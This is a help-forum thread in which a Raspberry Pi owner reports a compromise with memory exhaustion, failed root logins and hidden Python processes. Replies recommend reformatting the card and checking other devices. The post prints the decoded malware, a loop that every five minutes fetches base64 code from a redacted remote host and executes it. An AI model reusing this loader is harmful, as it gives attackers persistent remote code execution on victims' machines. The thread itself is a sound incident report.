1

Recently I'd noticed that my pi had been running slower than usual, and some processes had been killed with the following message in /var/log/syslog: "Out of memory: Kill process score or sacrifice child"

The /var/log/auth.log had numerous failed remote root login attempts, so I've installed fail2ban to (hopefully) fix this, and I've moved from password to shared key logins

Lastly, when I listed the running processes with this command "ps -eo pmem,pcpu,vsize,pid,cmd | sort -k 1 -nr | head -10" there was a load of these python processes running (apologies for the slightly incorrect syntax, I killed the processes and can't find the original)

python -C "import base64,sys; base64.decode('<base64 encoded string>')"

I've decoded the string at https://www.base64decode.org/ to this

#coding: utf-8
import urllib
import urllib2
import os
import base64
import time
while True:
    d= 'http://<ip address>:443'
    g='https://<github user content raw file link>'
    try:
        page=base64.b64decode(urllib2.urlopen(d+'/api?type=gc').read())
        exec(page)
    except:
        try:
            d=urllib2.urlopen(g).read().strip()
            page=base64.b64decode(urllib2.urlopen(d+'/api?type=gc').read())
            exec(page)
        except:
            pass
    time.sleep(300)

Note - the ip address I've removed was not the ip of the machine itself, or the ip of the attempted root logins

What do I need to do to stop this process from being triggered again when I restart? Is there anything else I should do to secure my pi?

  • 1
    If I were you I would start with a freshly burned SD card. Whatever you do now is like locking the barn door after the horse has already escaped. I would also seriously consider if my Pi needed to be accessible from the internet. I would also consider what else might be infected by this (i.e. other computers/devices on your network including your phone), what other data and services might also have been compromised by this hack (passwords, credit card numbers etc.). This script is likely only the tip of the iceberg. – Steve Robillard Sep 9 '17 at 15:05
  • thanks, I had thought the nuclear option was a strong possibility. I'm not sure when this was caused, but I first noticed something wasn't right a few days ago – Joseph McCarthy Sep 9 '17 at 18:02
0

Ended up using the nuclear option - format a new card and start again.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.